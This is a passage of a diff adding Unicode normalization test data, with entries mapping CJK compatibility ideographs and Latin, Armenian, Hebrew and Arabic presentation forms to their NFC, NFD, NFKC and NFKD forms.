+{ source: [0xFA89], NFC: [0x618E], NFD: [0x618E], NFKC: [0x618E], NFKD: [0x618E] },
+{ source: [0xFA8A], NFC: [0x6160], NFD: [0x6160], NFKC: [0x6160], NFKD: [0x6160] },
+{ source: [0xFA8B], NFC: [0x61F2], NFD: [0x61F2], NFKC: [0x61F2], NFKD: [0x61F2] },
+{ source: [0xFA8C], NFC: [0x6234], NFD: [0x6234], NFKC: [0x6234], NFKD: [0x6234] },
+{ source: [0xFA8D], NFC: [0x63C4], NFD: [0x63C4], NFKC: [0x63C4], NFKD: [0x63C4] },
+{ source: [0xFA8E], NFC: [0x641C], NFD: [0x641C], NFKC: [0x641C], NFKD: [0x641C] },
+{ source: [0xFA8F], NFC: [0x6452], NFD: [0x6452], NFKC: [0x6452], NFKD: [0x6452] },
+{ source: [0xFA90], NFC: [0x6556], NFD: [0x6556], NFKC: [0x6556], NFKD: [0x6556] },
+{ source: [0xFA91], NFC: [0x6674], NFD: [0x6674], NFKC: [0x6674], NFKD: [0x6674] },
+{ source: [0xFA92], NFC: [0x6717], NFD: [0x6717], NFKC: [0x6717], NFKD: [0x6717] },
+{ source: [0xFA93], NFC: [0x671B], NFD: [0x671B], NFKC: [0x671B], NFKD: [0x671B] },
+{ source: [0xFA94], NFC: [0x6756], NFD: [0x6756], NFKC: [0x6756], NFKD: [0x6756] },
+{ source: [0xFA95], NFC: [0x6B79], NFD: [0x6B79], NFKC: [0x6B79], NFKD: [0x6B79] },
+{ source: [0xFA96], NFC: [0x6BBA], NFD: [0x6BBA], NFKC: [0x6BBA], NFKD: [0x6BBA] },
+{ source: [0xFA97], NFC: [0x6D41], NFD: [0x6D41], NFKC: [0x6D41], NFKD: [0x6D41] },
+{ source: [0xFA98], NFC: [0x6EDB], NFD: [0x6EDB], NFKC: [0x6EDB], NFKD: [0x6EDB] },
+{ source: [0xFA99], NFC: [0x6ECB], NFD: [0x6ECB], NFKC: [0x6ECB], NFKD: [0x6ECB] },
+{ source: [0xFA9A], NFC: [0x6F22], NFD: [0x6F22], NFKC: [0x6F22], NFKD: [0x6F22] },
+{ source: [0xFA9B], NFC: [0x701E], NFD: [0x701E], NFKC: [0x701E], NFKD: [0x701E] },
+{ source: [0xFA9C], NFC: [0x716E], NFD: [0x716E], NFKC: [0x716E], NFKD: [0x716E] },
+{ source: [0xFA9D], NFC: [0x77A7], NFD: [0x77A7], NFKC: [0x77A7], NFKD: [0x77A7] },
+{ source: [0xFA9E], NFC: [0x7235], NFD: [0x7235], NFKC: [0x7235], NFKD: [0x7235] },
+{ source: [0xFA9F], NFC: [0x72AF], NFD: [0x72AF], NFKC: [0x72AF], NFKD: [0x72AF] },
+{ source: [0xFAA0], NFC: [0x732A], NFD: [0x732A], NFKC: [0x732A], NFKD: [0x732A] },
+{ source: [0xFAA1], NFC: [0x7471], NFD: [0x7471], NFKC: [0x7471], NFKD: [0x7471] },
+{ source: [0xFAA2], NFC: [0x7506], NFD: [0x7506], NFKC: [0x7506], NFKD: [0x7506] },
+{ source: [0xFAA3], NFC: [0x753B], NFD: [0x753B], NFKC: [0x753B], NFKD: [0x753B] },
+{ source: [0xFAA4], NFC: [0x761D], NFD: [0x761D], NFKC: [0x761D], NFKD: [0x761D] },
+{ source: [0xFAA5], NFC: [0x761F], NFD: [0x761F], NFKC: [0x761F], NFKD: [0x761F] },
+{ source: [0xFAA6], NFC: [0x76CA], NFD: [0x76CA], NFKC: [0x76CA], NFKD: [0x76CA] },
+{ source: [0xFAA7], NFC: [0x76DB], NFD: [0x76DB], NFKC: [0x76DB], NFKD: [0x76DB] },
+{ source: [0xFAA8], NFC: [0x76F4], NFD: [0x76F4], NFKC: [0x76F4], NFKD: [0x76F4] },
+{ source: [0xFAA9], NFC: [0x774A], NFD: [0x774A], NFKC: [0x774A], NFKD: [0x774A] },
+{ source: [0xFAAA], NFC: [0x7740], NFD: [0x7740], NFKC: [0x7740], NFKD: [0x7740] },
+{ source: [0xFAAB], NFC: [0x78CC], NFD: [0x78CC], NFKC: [0x78CC], NFKD: [0x78CC] },
+{ source: [0xFAAC], NFC: [0x7AB1], NFD: [0x7AB1], NFKC: [0x7AB1], NFKD: [0x7AB1] },
+{ source: [0xFAAD], NFC: [0x7BC0], NFD: [0x7BC0], NFKC: [0x7BC0], NFKD: [0x7BC0] },
+{ source: [0xFAAE], NFC: [0x7C7B], NFD: [0x7C7B], NFKC: [0x7C7B], NFKD: [0x7C7B] },
+{ source: [0xFAAF], NFC: [0x7D5B], NFD: [0x7D5B], NFKC: [0x7D5B], NFKD: [0x7D5B] },
+{ source: [0xFAB0], NFC: [0x7DF4], NFD: [0x7DF4], NFKC: [0x7DF4], NFKD: [0x7DF4] },
+{ source: [0xFAB1], NFC: [0x7F3E], NFD: [0x7F3E], NFKC: [0x7F3E], NFKD: [0x7F3E] },
+{ source: [0xFAB2], NFC: [0x8005], NFD: [0x8005], NFKC: [0x8005], NFKD: [0x8005] },
+{ source: [0xFAB3], NFC: [0x8352], NFD: [0x8352], NFKC: [0x8352], NFKD: [0x8352] },
+{ source: [0xFAB4], NFC: [0x83EF], NFD: [0x83EF], NFKC: [0x83EF], NFKD: [0x83EF] },
+{ source: [0xFAB5], NFC: [0x8779], NFD: [0x8779], NFKC: [0x8779], NFKD: [0x8779] },
+{ source: [0xFAB6], NFC: [0x8941], NFD: [0x8941], NFKC: [0x8941], NFKD: [0x8941] },
+{ source: [0xFAB7], NFC: [0x8986], NFD: [0x8986], NFKC: [0x8986], NFKD: [0x8986] },
+{ source: [0xFAB8], NFC: [0x8996], NFD: [0x8996], NFKC: [0x8996], NFKD: [0x8996] },
+{ source: [0xFAB9], NFC: [0x8ABF], NFD: [0x8ABF], NFKC: [0x8ABF], NFKD: [0x8ABF] },
+{ source: [0xFABA], NFC: [0x8AF8], NFD: [0x8AF8], NFKC: [0x8AF8], NFKD: [0x8AF8] },
+{ source: [0xFABB], NFC: [0x8ACB], NFD: [0x8ACB], NFKC: [0x8ACB], NFKD: [0x8ACB] },
+{ source: [0xFABC], NFC: [0x8B01], NFD: [0x8B01], NFKC: [0x8B01], NFKD: [0x8B01] },
+{ source: [0xFABD], NFC: [0x8AFE], NFD: [0x8AFE], NFKC: [0x8AFE], NFKD: [0x8AFE] },
+{ source: [0xFABE], NFC: [0x8AED], NFD: [0x8AED], NFKC: [0x8AED], NFKD: [0x8AED] },
+{ source: [0xFABF], NFC: [0x8B39], NFD: [0x8B39], NFKC: [0x8B39], NFKD: [0x8B39] },
+{ source: [0xFAC0], NFC: [0x8B8A], NFD: [0x8B8A], NFKC: [0x8B8A], NFKD: [0x8B8A] },
+{ source: [0xFAC1], NFC: [0x8D08], NFD: [0x8D08], NFKC: [0x8D08], NFKD: [0x8D08] },
+{ source: [0xFAC2], NFC: [0x8F38], NFD: [0x8F38], NFKC: [0x8F38], NFKD: [0x8F38] },
+{ source: [0xFAC3], NFC: [0x9072], NFD: [0x9072], NFKC: [0x9072], NFKD: [0x9072] },
+{ source: [0xFAC4], NFC: [0x9199], NFD: [0x9199], NFKC: [0x9199], NFKD: [0x9199] },
+{ source: [0xFAC5], NFC: [0x9276], NFD: [0x9276], NFKC: [0x9276], NFKD: [0x9276] },
+{ source: [0xFAC6], NFC: [0x967C], NFD: [0x967C], NFKC: [0x967C], NFKD: [0x967C] },
+{ source: [0xFAC7], NFC: [0x96E3], NFD: [0x96E3], NFKC: [0x96E3], NFKD: [0x96E3] },
+{ source: [0xFAC8], NFC: [0x9756], NFD: [0x9756], NFKC: [0x9756], NFKD: [0x9756] },
+{ source: [0xFAC9], NFC: [0x97DB], NFD: [0x97DB], NFKC: [0x97DB], NFKD: [0x97DB] },
+{ source: [0xFACA], NFC: [0x97FF], NFD: [0x97FF], NFKC: [0x97FF], NFKD: [0x97FF] },
+{ source: [0xFACB], NFC: [0x980B], NFD: [0x980B], NFKC: [0x980B], NFKD: [0x980B] },
+{ source: [0xFACC], NFC: [0x983B], NFD: [0x983B], NFKC: [0x983B], NFKD: [0x983B] },
+{ source: [0xFACD], NFC: [0x9B12], NFD: [0x9B12], NFKC: [0x9B12], NFKD: [0x9B12] },
+{ source: [0xFACE], NFC: [0x9F9C], NFD: [0x9F9C], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0xFACF], NFC: [0x2284A], NFD: [0x2284A], NFKC: [0x2284A], NFKD: [0x2284A] },
+{ source: [0xFAD0], NFC: [0x22844], NFD: [0x22844], NFKC: [0x22844], NFKD: [0x22844] },
+{ source: [0xFAD1], NFC: [0x233D5], NFD: [0x233D5], NFKC: [0x233D5], NFKD: [0x233D5] },
+{ source: [0xFAD2], NFC: [0x3B9D], NFD: [0x3B9D], NFKC: [0x3B9D], NFKD: [0x3B9D] },
+{ source: [0xFAD3], NFC: [0x4018], NFD: [0x4018], NFKC: [0x4018], NFKD: [0x4018] },
+{ source: [0xFAD4], NFC: [0x4039], NFD: [0x4039], NFKC: [0x4039], NFKD: [0x4039] },
+{ source: [0xFAD5], NFC: [0x25249], NFD: [0x25249], NFKC: [0x25249], NFKD: [0x25249] },
+{ source: [0xFAD6], NFC: [0x25CD0], NFD: [0x25CD0], NFKC: [0x25CD0], NFKD: [0x25CD0] },
+{ source: [0xFAD7], NFC: [0x27ED3], NFD: [0x27ED3], NFKC: [0x27ED3], NFKD: [0x27ED3] },
+{ source: [0xFAD8], NFC: [0x9F43], NFD: [0x9F43], NFKC: [0x9F43], NFKD: [0x9F43] },
+{ source: [0xFAD9], NFC: [0x9F8E], NFD: [0x9F8E], NFKC: [0x9F8E], NFKD: [0x9F8E] },
+{ source: [0xFB00], NFC: [0xFB00], NFD: [0xFB00], NFKC: [0x0066, 0x0066], NFKD: [0x0066, 0x0066] },
+{ source: [0xFB01], NFC: [0xFB01], NFD: [0xFB01], NFKC: [0x0066, 0x0069], NFKD: [0x0066, 0x0069] },
+{ source: [0xFB02], NFC: [0xFB02], NFD: [0xFB02], NFKC: [0x0066, 0x006C], NFKD: [0x0066, 0x006C] },
+{ source: [0xFB03], NFC: [0xFB03], NFD: [0xFB03], NFKC: [0x0066, 0x0066, 0x0069], NFKD: [0x0066, 0x0066, 0x0069] },
+{ source: [0xFB04], NFC: [0xFB04], NFD: [0xFB04], NFKC: [0x0066, 0x0066, 0x006C], NFKD: [0x0066, 0x0066, 0x006C] },
+{ source: [0xFB05], NFC: [0xFB05], NFD: [0xFB05], NFKC: [0x0073, 0x0074], NFKD: [0x0073, 0x0074] },
+{ source: [0xFB06], NFC: [0xFB06], NFD: [0xFB06], NFKC: [0x0073, 0x0074], NFKD: [0x0073, 0x0074] },
+{ source: [0xFB13], NFC: [0xFB13], NFD: [0xFB13], NFKC: [0x0574, 0x0576], NFKD: [0x0574, 0x0576] },
+{ source: [0xFB14], NFC: [0xFB14], NFD: [0xFB14], NFKC: [0x0574, 0x0565], NFKD: [0x0574, 0x0565] },
+{ source: [0xFB15], NFC: [0xFB15], NFD: [0xFB15], NFKC: [0x0574, 0x056B], NFKD: [0x0574, 0x056B] },
+{ source: [0xFB16], NFC: [0xFB16], NFD: [0xFB16], NFKC: [0x057E, 0x0576], NFKD: [0x057E, 0x0576] },
+{ source: [0xFB17], NFC: [0xFB17], NFD: [0xFB17], NFKC: [0x0574, 0x056D], NFKD: [0x0574, 0x056D] },
+{ source: [0xFB1D], NFC: [0x05D9, 0x05B4], NFD: [0x05D9, 0x05B4], NFKC: [0x05D9, 0x05B4], NFKD: [0x05D9, 0x05B4] },
+{ source: [0xFB1F], NFC: [0x05F2, 0x05B7], NFD: [0x05F2, 0x05B7], NFKC: [0x05F2, 0x05B7], NFKD: [0x05F2, 0x05B7] },
+{ source: [0xFB20], NFC: [0xFB20], NFD: [0xFB20], NFKC: [0x05E2], NFKD: [0x05E2] },
+{ source: [0xFB21], NFC: [0xFB21], NFD: [0xFB21], NFKC: [0x05D0], NFKD: [0x05D0] },
+{ source: [0xFB22], NFC: [0xFB22], NFD: [0xFB22], NFKC: [0x05D3], NFKD: [0x05D3] },
+{ source: [0xFB23], NFC: [0xFB23], NFD: [0xFB23], NFKC: [0x05D4], NFKD: [0x05D4] },
+{ source: [0xFB24], NFC: [0xFB24], NFD: [0xFB24], NFKC: [0x05DB], NFKD: [0x05DB] },
+{ source: [0xFB25], NFC: [0xFB25], NFD: [0xFB25], NFKC: [0x05DC], NFKD: [0x05DC] },
+{ source: [0xFB26], NFC: [0xFB26], NFD: [0xFB26], NFKC: [0x05DD], NFKD: [0x05DD] },
+{ source: [0xFB27], NFC: [0xFB27], NFD: [0xFB27], NFKC: [0x05E8], NFKD: [0x05E8] },
+{ source: [0xFB28], NFC: [0xFB28], NFD: [0xFB28], NFKC: [0x05EA], NFKD: [0x05EA] },
+{ source: [0xFB29], NFC: [0xFB29], NFD: [0xFB29], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0xFB2A], NFC: [0x05E9, 0x05C1], NFD: [0x05E9, 0x05C1], NFKC: [0x05E9, 0x05C1], NFKD: [0x05E9, 0x05C1] },
+{ source: [0xFB2B], NFC: [0x05E9, 0x05C2], NFD: [0x05E9, 0x05C2], NFKC: [0x05E9, 0x05C2], NFKD: [0x05E9, 0x05C2] },
+{ source: [0xFB2C], NFC: [0x05E9, 0x05BC, 0x05C1], NFD: [0x05E9, 0x05BC, 0x05C1], NFKC: [0x05E9, 0x05BC, 0x05C1], NFKD: [0x05E9, 0x05BC, 0x05C1] },
+{ source: [0xFB2D], NFC: [0x05E9, 0x05BC, 0x05C2], NFD: [0x05E9, 0x05BC, 0x05C2], NFKC: [0x05E9, 0x05BC, 0x05C2], NFKD: [0x05E9, 0x05BC, 0x05C2] },
+{ source: [0xFB2E], NFC: [0x05D0, 0x05B7], NFD: [0x05D0, 0x05B7], NFKC: [0x05D0, 0x05B7], NFKD: [0x05D0, 0x05B7] },
+{ source: [0xFB2F], NFC: [0x05D0, 0x05B8], NFD: [0x05D0, 0x05B8], NFKC: [0x05D0, 0x05B8], NFKD: [0x05D0, 0x05B8] },
+{ source: [0xFB30], NFC: [0x05D0, 0x05BC], NFD: [0x05D0, 0x05BC], NFKC: [0x05D0, 0x05BC], NFKD: [0x05D0, 0x05BC] },
+{ source: [0xFB31], NFC: [0x05D1, 0x05BC], NFD: [0x05D1, 0x05BC], NFKC: [0x05D1, 0x05BC], NFKD: [0x05D1, 0x05BC] },
+{ source: [0xFB32], NFC: [0x05D2, 0x05BC], NFD: [0x05D2, 0x05BC], NFKC: [0x05D2, 0x05BC], NFKD: [0x05D2, 0x05BC] },
+{ source: [0xFB33], NFC: [0x05D3, 0x05BC], NFD: [0x05D3, 0x05BC], NFKC: [0x05D3, 0x05BC], NFKD: [0x05D3, 0x05BC] },
+{ source: [0xFB34], NFC: [0x05D4, 0x05BC], NFD: [0x05D4, 0x05BC], NFKC: [0x05D4, 0x05BC], NFKD: [0x05D4, 0x05BC] },
+{ source: [0xFB35], NFC: [0x05D5, 0x05BC], NFD: [0x05D5, 0x05BC], NFKC: [0x05D5, 0x05BC], NFKD: [0x05D5, 0x05BC] },
+{ source: [0xFB36], NFC: [0x05D6, 0x05BC], NFD: [0x05D6, 0x05BC], NFKC: [0x05D6, 0x05BC], NFKD: [0x05D6, 0x05BC] },
+{ source: [0xFB38], NFC: [0x05D8, 0x05BC], NFD: [0x05D8, 0x05BC], NFKC: [0x05D8, 0x05BC], NFKD: [0x05D8, 0x05BC] },
+{ source: [0xFB39], NFC: [0x05D9, 0x05BC], NFD: [0x05D9, 0x05BC], NFKC: [0x05D9, 0x05BC], NFKD: [0x05D9, 0x05BC] },
+{ source: [0xFB3A], NFC: [0x05DA, 0x05BC], NFD: [0x05DA, 0x05BC], NFKC: [0x05DA, 0x05BC], NFKD: [0x05DA, 0x05BC] },
+{ source: [0xFB3B], NFC: [0x05DB, 0x05BC], NFD: [0x05DB, 0x05BC], NFKC: [0x05DB, 0x05BC], NFKD: [0x05DB, 0x05BC] },
+{ source: [0xFB3C], NFC: [0x05DC, 0x05BC], NFD: [0x05DC, 0x05BC], NFKC: [0x05DC, 0x05BC], NFKD: [0x05DC, 0x05BC] },
+{ source: [0xFB3E], NFC: [0x05DE, 0x05BC], NFD: [0x05DE, 0x05BC], NFKC: [0x05DE, 0x05BC], NFKD: [0x05DE, 0x05BC] },
+{ source: [0xFB40], NFC: [0x05E0, 0x05BC], NFD: [0x05E0, 0x05BC], NFKC: [0x05E0, 0x05BC], NFKD: [0x05E0, 0x05BC] },
+{ source: [0xFB41], NFC: [0x05E1, 0x05BC], NFD: [0x05E1, 0x05BC], NFKC: [0x05E1, 0x05BC], NFKD: [0x05E1, 0x05BC] },
+{ source: [0xFB43], NFC: [0x05E3, 0x05BC], NFD: [0x05E3, 0x05BC], NFKC: [0x05E3, 0x05BC], NFKD: [0x05E3, 0x05BC] },
+{ source: [0xFB44], NFC: [0x05E4, 0x05BC], NFD: [0x05E4, 0x05BC], NFKC: [0x05E4, 0x05BC], NFKD: [0x05E4, 0x05BC] },
+{ source: [0xFB46], NFC: [0x05E6, 0x05BC], NFD: [0x05E6, 0x05BC], NFKC: [0x05E6, 0x05BC], NFKD: [0x05E6, 0x05BC] },
+{ source: [0xFB47], NFC: [0x05E7, 0x05BC], NFD: [0x05E7, 0x05BC], NFKC: [0x05E7, 0x05BC], NFKD: [0x05E7, 0x05BC] },
+{ source: [0xFB48], NFC: [0x05E8, 0x05BC], NFD: [0x05E8, 0x05BC], NFKC: [0x05E8, 0x05BC], NFKD: [0x05E8, 0x05BC] },
+{ source: [0xFB49], NFC: [0x05E9, 0x05BC], NFD: [0x05E9, 0x05BC], NFKC: [0x05E9, 0x05BC], NFKD: [0x05E9, 0x05BC] },
+{ source: [0xFB4A], NFC: [0x05EA, 0x05BC], NFD: [0x05EA, 0x05BC], NFKC: [0x05EA, 0x05BC], NFKD: [0x05EA, 0x05BC] },
+{ source: [0xFB4B], NFC: [0x05D5, 0x05B9], NFD: [0x05D5, 0x05B9], NFKC: [0x05D5, 0x05B9], NFKD: [0x05D5, 0x05B9] },
+{ source: [0xFB4C], NFC: [0x05D1, 0x05BF], NFD: [0x05D1, 0x05BF], NFKC: [0x05D1, 0x05BF], NFKD: [0x05D1, 0x05BF] },
+{ source: [0xFB4D], NFC: [0x05DB, 0x05BF], NFD: [0x05DB, 0x05BF], NFKC: [0x05DB, 0x05BF], NFKD: [0x05DB, 0x05BF] },
+{ source: [0xFB4E], NFC: [0x05E4, 0x05BF], NFD: [0x05E4, 0x05BF], NFKC: [0x05E4, 0x05BF], NFKD: [0x05E4, 0x05BF] },
+{ source: [0xFB4F], NFC: [0xFB4F], NFD: [0xFB4F], NFKC: [0x05D0, 0x05DC], NFKD: [0x05D0, 0x05DC] },
+{ source: [0xFB50], NFC: [0xFB50], NFD: [0xFB50], NFKC: [0x0671], NFKD: [0x0671] },
+{ source: [0xFB51], NFC: [0xFB51], NFD: [0xFB51], NFKC: [0x0671], NFKD: [0x0671] },
+{ source: [0xFB52], NFC: [0xFB52], NFD: [0xFB52], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB53], NFC: [0xFB53], NFD: [0xFB53], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB54], NFC: [0xFB54], NFD: [0xFB54], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB55], NFC: [0xFB55], NFD: [0xFB55], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB56], NFC: [0xFB56], NFD: [0xFB56], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB57], NFC: [0xFB57], NFD: [0xFB57], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB58], NFC: [0xFB58], NFD: [0xFB58], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB59], NFC: [0xFB59], NFD: [0xFB59], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB5A], NFC: [0xFB5A], NFD: [0xFB5A], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5B], NFC: [0xFB5B], NFD: [0xFB5B], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5C], NFC: [0xFB5C], NFD: [0xFB5C], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5D], NFC: [0xFB5D], NFD: [0xFB5D], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5E], NFC: [0xFB5E], NFD: [0xFB5E], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB5F], NFC: [0xFB5F], NFD: [0xFB5F], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB60], NFC: [0xFB60], NFD: [0xFB60], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB61], NFC: [0xFB61], NFD: [0xFB61], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB62], NFC: [0xFB62], NFD: [0xFB62], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB63], NFC: [0xFB63], NFD: [0xFB63], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB64], NFC: [0xFB64], NFD: [0xFB64], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB65], NFC: [0xFB65], NFD: [0xFB65], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB66], NFC: [0xFB66], NFD: [0xFB66], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB67], NFC: [0xFB67], NFD: [0xFB67], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB68], NFC: [0xFB68], NFD: [0xFB68], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB69], NFC: [0xFB69], NFD: [0xFB69], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB6A], NFC: [0xFB6A], NFD: [0xFB6A], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6B], NFC: [0xFB6B], NFD: [0xFB6B], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6C], NFC: [0xFB6C], NFD: [0xFB6C], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6D], NFC: [0xFB6D], NFD: [0xFB6D], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6E], NFC: [0xFB6E], NFD: [0xFB6E], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB6F], NFC: [0xFB6F], NFD: [0xFB6F], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB70], NFC: [0xFB70], NFD: [0xFB70], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB71], NFC: [0xFB71], NFD: [0xFB71], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB72], NFC: [0xFB72], NFD: [0xFB72], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB73], NFC: [0xFB73], NFD: [0xFB73], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB74], NFC: [0xFB74], NFD: [0xFB74], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB75], NFC: [0xFB75], NFD: [0xFB75], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB76], NFC: [0xFB76], NFD: [0xFB76], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB77], NFC: [0xFB77], NFD: [0xFB77], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB78], NFC: [0xFB78], NFD: [0xFB78], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB79], NFC: [0xFB79], NFD: [0xFB79], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB7A], NFC: [0xFB7A], NFD: [0xFB7A], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7B], NFC: [0xFB7B], NFD: [0xFB7B], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7C], NFC: [0xFB7C], NFD: [0xFB7C], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7D], NFC: [0xFB7D], NFD: [0xFB7D], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7E], NFC: [0xFB7E], NFD: [0xFB7E], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB7F], NFC: [0xFB7F], NFD: [0xFB7F], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB80], NFC: [0xFB80], NFD: [0xFB80], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB81], NFC: [0xFB81], NFD: [0xFB81], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB82], NFC: [0xFB82], NFD: [0xFB82], NFKC: [0x068D], NFKD: [0x068D] },
+{ source: [0xFB83], NFC: [0xFB83], NFD: [0xFB83], NFKC: [0x068D], NFKD: [0x068D] },
+{ source: [0xFB84], NFC: [0xFB84], NFD: [0xFB84], NFKC: [0x068C], NFKD: [0x068C] },
+{ source: [0xFB85], NFC: [0xFB85], NFD: [0xFB85], NFKC: [0x068C], NFKD: [0x068C] },
+{ source: [0xFB86], NFC: [0xFB86], NFD: [0xFB86], NFKC: [0x068E], NFKD: [0x068E] },
+{ source: [0xFB87], NFC: [0xFB87], NFD: [0xFB87], NFKC: [0x068E], NFKD: [0x068E] },
+{ source: [0xFB88], NFC: [0xFB88], NFD: [0xFB88], NFKC: [0x0688], NFKD: [0x0688] },
+{ source: [0xFB89], NFC: [0xFB89], NFD: [0xFB89], NFKC: [0x0688], NFKD: [0x0688] },
+{ source: [0xFB8A], NFC: [0xFB8A], NFD: [0xFB8A], NFKC: [0x0698], NFKD: [0x0698] },
+{ source: [0xFB8B], NFC: [0xFB8B], NFD: [0xFB8B], NFKC: [0x0698], NFKD: [0x0698] },
+{ source: [0xFB8C], NFC: [0xFB8C], NFD: [0xFB8C], NFKC: [0x0691], NFKD: [0x0691] },
+{ source: [0xFB8D], NFC: [0xFB8D], NFD: [0xFB8D], NFKC: [0x0691], NFKD: [0x0691] },
+{ source: [0xFB8E], NFC: [0xFB8E], NFD: [0xFB8E], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB8F], NFC: [0xFB8F], NFD: [0xFB8F], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB90], NFC: [0xFB90], NFD: [0xFB90], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB91], NFC: [0xFB91], NFD: [0xFB91], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB92], NFC: [0xFB92], NFD: [0xFB92], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB93], NFC: [0xFB93], NFD: [0xFB93], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB94], NFC: [0xFB94], NFD: [0xFB94], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB95], NFC: [0xFB95], NFD: [0xFB95], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB96], NFC: [0xFB96], NFD: [0xFB96], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB97], NFC: [0xFB97], NFD: [0xFB97], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB98], NFC: [0xFB98], NFD: [0xFB98], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB99], NFC: [0xFB99], NFD: [0xFB99], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB9A], NFC: [0xFB9A], NFD: [0xFB9A], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9B], NFC: [0xFB9B], NFD: [0xFB9B], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9C], NFC: [0xFB9C], NFD: [0xFB9C], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9D], NFC: [0xFB9D], NFD: [0xFB9D], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9E], NFC: [0xFB9E], NFD: [0xFB9E], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0xFB9F], NFC: [0xFB9F], NFD: [0xFB9F], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0xFBA0], NFC: [0xFBA0], NFD: [0xFBA0], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA1], NFC: [0xFBA1], NFD: [0xFBA1], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA2], NFC: [0xFBA2], NFD: [0xFBA2], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA3], NFC: [0xFBA3], NFD: [0xFBA3], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA4], NFC: [0xFBA4], NFD: [0xFBA4], NFKC: [0x06C0], NFKD: [0x06D5, 0x0654] },
+{ source: [0xFBA5], NFC: [0xFBA5], NFD: [0xFBA5], NFKC: [0x06C0], NFKD: [0x06D5, 0x0654] },
+{ source: [0xFBA6], NFC: [0xFBA6], NFD: [0xFBA6], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBA7], NFC: [0xFBA7], NFD: [0xFBA7], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBA8], NFC: [0xFBA8], NFD: [0xFBA8], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBA9], NFC: [0xFBA9], NFD: [0xFBA9], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBAA], NFC: [0xFBAA], NFD: [0xFBAA], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAB], NFC: [0xFBAB], NFD: [0xFBAB], NFKC: [0x06BE], NFKD: [0x06BE] },
